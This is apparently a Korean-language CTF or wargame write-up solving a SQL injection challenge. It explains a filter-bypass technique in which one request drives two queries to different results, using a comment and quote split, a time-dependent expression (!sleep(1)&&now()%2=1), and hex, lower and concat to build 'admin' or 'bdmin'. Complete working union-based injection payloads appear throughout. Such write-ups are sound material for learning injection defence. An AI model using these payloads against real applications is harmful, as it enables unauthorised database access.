## 조건 ##
1) query 2개 존재 → 1개의 요청으로 2개의 쿼리 동작시키기
2) 필터링 대상 : admin and or if coalesce case _ prob time
입력값 no에 대한 특이한 조건사항이 있다
1) query1 admin이어야 한다.
2) query1 admin이 아니어야 한다.
3) query2 admin이 아니어야 한다.
4) query2 admin이어야 한다.
조건 1에 맞추기 위해서 위 조건사항을 조금 바꿔서 살펴보면 아래와 같다.
admin → admin X → admin X → admin
어려워서 다른 풀이를 조금 참고해서 보니.. 시간차 공격을 해야 하는 것 같다. 그래서 time을 필터링하기에 시간지연 함수가 필요하다. → sleep()과 같은..
일단, 1번의 요청으로 전혀 다른 결과를 보이도록 쿼리를 짜야 한다.
차근차근시도해야 한다.일단 query1은 싱글쿼터로 감싸지 않고 query2는 싱글쿼터가 존재한다. 이 점을 이용하자
?no=1 union select 1#' union select '1
위와 같은 payload를 입력한다면
첫번째 쿼리에서는 # 이하는 모두 주석처리가 되고..
두번째 쿼리에서는 ' 1 union select 1# ' 사이를 모두 묶게 되고 그 뒤에 있는 union select '1'이 실행된다.
그렇다면 1이 있는 자리에 admin이 시간차로 들어오도록 하면 된다.
?no=1 union select admin#' union select 'admin
하지만 if, case when 과 같은 조건문과 함께 시간지연함수를 쓸 수 없다ㅠㅠ
그래서 조건문 없이 시간차 공격을 할 수 있는 구문이 바로 !sleep(1)&&now%2=1 이다
1. sleep(?)함수는 어쨌든 결과가 항상 0 반환
2. now%2=1 은 현재시간에 따라 0 또는 1 반환
하지만 sleep()함수를 그대로 사용하면 0 and 0과 1이 되는데, 0과 and연산은 무조건 결과값이 0 이 나온다.
그래서 앞에 !sleep() 로 표현하여 시간차에 따라 0 또는 1을 반환하도록 한다.
아래는 실제 테스트 결과이다.
시간차에 따라 0과 1를 바꿔주며 admin을 표현해야 하는데.. 이때 16진수로 표현해서 쿼리를 작성한다.
admin => (16진수) 0x61646d696e
=> (10진수) 97,100,109,105,110
정답을 찾아보니 hex()함수와 시간차 공격을 이용하여 문제를 풀었다는 점에 대한 이해가 필요하다.
hex() 함수 : 정수에 해당하는 16진수 문자열 리턴
hex는 16진수 (0~9ABCDEF)까지로만 표현이 가능하므로, A를 lower()함수를 이용하여 소문자로 변환해서 사용해야 한다.
lower(hex(10)) : A → a lower(hex(11)) : B → b
lower(hex(10+( !sleep(1)&&now()%2=1) )) → 시간차에 의해 반환값이 10+0 또는 10+1 , 시간에 따라 a 또는 b를 출력함
그 후, concat()함수를 이용하여 'admin'을 생성한다.
concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)
시간에 따라 admin이 될 수도 있고, bdmin이 될 수도 있다.
첫번째 쿼리에 bdmin, 두번째 쿼리에 admin이 들어가도록 하면 된다.
처음 작성했던 ?no=1 union select 1#' union select '1 쿼리에 위에서 만든 조건문을 넣어보자
?no=1 union select concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)#' union select concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)#
이렇게 작성하면 결론적으로 실제 쿼리에 들어가는 값은, admin -> bdmin -> admin -> bdmin 이다.
우리가 맞춰야 하는 조건은 admin → admin X → admin X → admin 인데.. 이렇게 되면 조건이 맞지 않게 된다.hex(10) → hex(11) → hex(10) → hex(11) .. 이렇게 들어가는 것을 다음과 같이 바꿔야 한다.
hex(10) → hex(11) → hex(9) → hex(10) .. 또는 hex(10) → hex(11) → hex(11) → hex(10) ..
그래서 페이로드는 다음과 같이 나올 수 있다.
?no=1 union select concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)#' union select concat(lower(hex(9+( !sleep(1)&&now()%2=1) )), 0x646d696e)#
또는
?no=1 union select concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)#' union select concat(lower(hex(11-( !sleep(1)&&now()%2=1) )), 0x646d696e)#
시간에 따라 admin → admin X → admin X → admin 이 가능하다.